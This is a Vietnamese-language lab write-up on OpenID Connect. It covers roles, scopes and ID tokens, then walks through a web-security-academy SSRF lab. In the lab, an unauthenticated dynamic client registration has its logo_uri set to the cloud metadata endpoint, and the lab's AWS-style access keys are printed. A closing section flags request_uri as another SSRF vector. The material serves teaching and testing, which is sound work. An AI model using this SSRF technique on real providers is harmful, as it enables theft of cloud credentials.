Extending OAuth with OpenID Connect
Mở rộng OAuth với OpenID Connect để xác thực.
How Does OpenID Connect Work?
OpenID Connect hòa vào flow OAuth. Khác biệt: bổ sung bộ scope chuẩn hóa và response type id_token.
OpenID Connect Roles
Vai trò tương tự OAuth, chỉ khác thuật ngữ.
- Relying party - Ứng dụng yêu cầu authentication của user. Đồng nghĩa với OAuth client application.
- End user - User đang được authenticated. Đồng nghĩa với OAuth resource owner.
- OpenID provider - OAuth service được cấu hình để hỗ trợ OpenID Connect.
OpenID Connect Claims and Scopes
Trong OpenID Connect, “claims” là cặp key-value đại diện thông tin user, như "family_name":"Montoya".
Không giống OAuth, nơi scope thay đổi theo provider, OpenID Connect sử dụng set scope chuẩn. Để sử dụng OpenID Connect, client app phải bao gồm scope openid trong authorization request. Các scope chuẩn bổ sung bao gồm:
profileemailaddressphone
Mỗi scope cấp claim cụ thể. Ví dụ openid profile gồm family_name, given_name, birth_date.
ID Token
OpenID Connect giới thiệu response type id_token, trả về signed JSON Web Token (JWT). Token này chứa claim dựa trên scope yêu cầu và chi tiết về khi user được authenticated lần cuối. Client app có thể sử dụng để kiểm tra nếu user được authenticated đúng cách.
id_token giảm số request: chứa luôn dữ liệu cần ngay sau khi user xác thực.
Khác OAuth cơ bản, id_token có chữ ký bảo vệ tính toàn vẹn; tuy vậy khoá verify vẫn phân phối qua cùng kênh (/well-known/jwks.json).
Client có thể yêu cầu đồng thời id_token cùng token/code trong một request.
Identifying OpenID Connect
Nếu dùng OIDC, sẽ có scope openid trong authorization request.
Nếu không thấy, thử thêm scope openid hoặc đổi response type thành id_token để kiểm tra.
Xem tài liệu provider hoặc endpoint /.well-known/openid-configuration.
OpenID Connect Vulnerabilities
Chúng ta sẽ xem một số lỗ hổng bổ sung có thể được introduce bởi một số tính năng extra của OpenID Connect.
Unprotected Dynamic Client Registration
Đặc tả OIDC hỗ trợ dynamic client registration qua /registration.
Body gửi JSON mô tả client (ví dụ danh sách redirect_uris). Ví dụ:
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}Provider nên yêu cầu authenticate; nếu không, attacker có thể đăng ký client độc hại.
Các property dạng URI nếu được fetch có thể dẫn đến SSRF.
Lab: SSRF via OpenID Dynamic Client Registration
Abstract
OAuth service dùng dynamic registration và xử lý dữ liệu client thiếu an toàn, mở ra SSRF.
Để giải lab, craft tấn công SSRF để access
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/và steal secret access key cho cloud environment của OAuth provider.
Info
Chúng ta có thể log in vào account của mình sử dụng credential sau:
wiener:peter
Authorization request cho thấy ứng dụng sử dụng OpenID, như chỉ ra bởi parameter scope:
GET /auth?client_id=inqmuq2nmb4i0j6hja2n0&redirect_uri=https://0ab600c00463a51280f1ad6f00360089.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.netGửi request đến /.well-known/openid-configuration:
GET /.well-known/openid-configuration HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.netNhận JSON sau:
{
"authorization_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/auth",
"claims_parameter_supported": false,
"claims_supported": ["sub", "name", "email", "email_verified", "sid", "auth_time", "iss"],
"code_challenge_methods_supported": ["S256"],
"end_session_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/session/end",
"grant_types_supported": ["authorization_code", "refresh_token"],
"id_token_signing_alg_values_supported": ["HS256", "ES256", "EdDSA", "PS256", "RS256"],
"issuer": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net",
"jwks_uri": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/jwks",
"registration_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/reg",
"response_modes_supported": ["form_post", "fragment", "query"],
"response_types_supported": ["code"],
"scopes_supported": ["openid", "offline_access", "profile", "email"],
"subject_types_supported": ["public"],
"token_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"token_endpoint_auth_signing_alg_values_supported": ["HS256", "RS256", "PS256", "ES256", "EdDSA"],
"token_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token",
"request_object_signing_alg_values_supported": ["HS256", "RS256", "PS256", "ES256", "EdDSA"],
"request_parameter_supported": false,
"request_uri_parameter_supported": true,
"require_request_uri_registration": true,
"userinfo_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/me",
"userinfo_signing_alg_values_supported": ["HS256", "ES256", "EdDSA", "PS256", "RS256"],
"introspection_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token/introspection",
"introspection_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"introspection_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"revocation_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token/revocation",
"revocation_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"revocation_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"claim_types_supported": ["normal"]
}Tìm endpoint registration: /reg.
Thử đăng ký application:
POST /reg HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: https://0ab600c00463a51280f1ad6f00360089.web-security-academy.net/
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256"
}Response:
HTTP/2 201 Created
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Sun, 24 Nov 2024 07:16:23 GMT
Keep-Alive: timeout=5
Content-Length: 1045
{
"application_type": "web",
"grant_types": [
"authorization_code"
],
"id_token_signed_response_alg": "RS256",
"post_logout_redirect_uris": [],
"require_auth_time": false,
"response_types": [
"code"
],
"subject_type": "public",
"token_endpoint_auth_method": "client_secret_basic",
"introspection_endpoint_auth_method": "client_secret_basic",
"revocation_endpoint_auth_method": "client_secret_basic",
"require_signed_request_object": false,
"request_uris": [],
"client_id_issued_at": 1732432583,
"client_id": "DvxGLfF47cp60A3jGqFz3",
"client_name": "My Application",
"client_secret_expires_at": 0,
"client_secret": "_LBBQnlMeYVQLNnlM0izYOAso-PzeLwgrKZEd1QON7Wz3Ha05LIvQuMlYTcW1geHe6sNin0reJOkdCNr-jbkOA",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"logo_uri": "https://client-app.com/logo.png",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"registration_client_uri": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/reg/DvxGLfF47cp60A3jGqFz3",
"registration_access_token": "wxT5rGXyo-M_peDg7V43HOm0-g8kDftGjuvlwwltYFP"
}Trong lần thử đầu tiên, chúng ta thay thế tất cả URL bằng URL của Collaborator. Sau đó, chúng ta gửi authorization request qua browser:
https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/auth?
client_id=[CLIENT-ID]&
redirect_uri=https://[COLLABORATOR-URL]/callback&
response_type=code&
scope=openid%20profile%20emailTrang consent gửi request đến https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/client/[CLIENT-ID]/logo để lấy hình ảnh logo liên quan đến client. Trong quy trình này, Collaborator nhận vài request, xác nhận rằng lỗ hổng Server-Side Request Forgery (SSRF) tồn tại.
Hơn nữa, URL lấy logo có thể bị thao túng qua parameter logo_uri trong registration request của client. Bằng cách chỉnh sửa parameter này thành http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/, chúng ta có thể đăng ký application mới với logo URI tùy chỉnh. Khi gửi lại authorization request trong browser, request đến https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/client/[CLIENT-ID]/logo trả về response JSON sau:
{
"Code": "Success",
"LastUpdated": "2024-11-24T07:10:08.520637686Z",
"Type": "AWS-HMAC",
"AccessKeyId": "SflIxv1Yi163qLUPEi2A",
"SecretAccessKey": "GMLmc5znqsnOpbg0Hr046PvxQvDV4fjWuB51DYeY",
"Token": "elDTYtU66HFcJQQuJ2KfP0py4GaI3xFkS8pKNJFdeQ1E9OIcy3l5mMloJtqhLUU4BHiqoTvNzaGWae4YrnVyJnUeiu83UNyMXGckHkQoXTodvx9AzIV3DLk1fDZbgl76lmCjkapS0IFawICR4teUWxAWr3IG5H2rJHEsrH93bKig8k0S3QIGU0MOoUwqQAkxCnI4mPrKctK14KIHeq9uvavnvZFtfe6Ngs5lL7KhVdTTyuuXjWs8ZTMNIB16AdPz",
"Expiration": "2030-11-23T07:10:08.520637686Z"
}Như chúng ta thấy, secret key là GMLmc5znqsnOpbg0Hr046PvxQvDV4fjWuB51DYeY.
Allowing Authorization Requests by Reference
Cho đến nay, chúng ta đã xem xét submit parameter authorization qua query string. Một số OpenID provider cho phép gửi chúng như JSON Web Token (JWT) thay vì. Nếu được hỗ trợ, chúng ta có thể sử dụng parameter request_uri trỏ đến JWT chứa parameter OAuth. Điều này có thể là vector SSRF potential khác, tùy thuộc vào configuration của OAuth service.
Tính năng này cũng có thể cho phép chúng ta bypass validation của parameter như redirect_uri, có thể được validate trong query string nhưng không trong JWT.
Để kiểm tra nếu được hỗ trợ, tìm request_uri_parameter_supported trong documentation hoặc configuration. Hoặc, thử thêm parameter request_uri để xem nếu hoạt động, vì một số server hỗ trợ nó ngay cả nếu không được đề cập rõ ràng.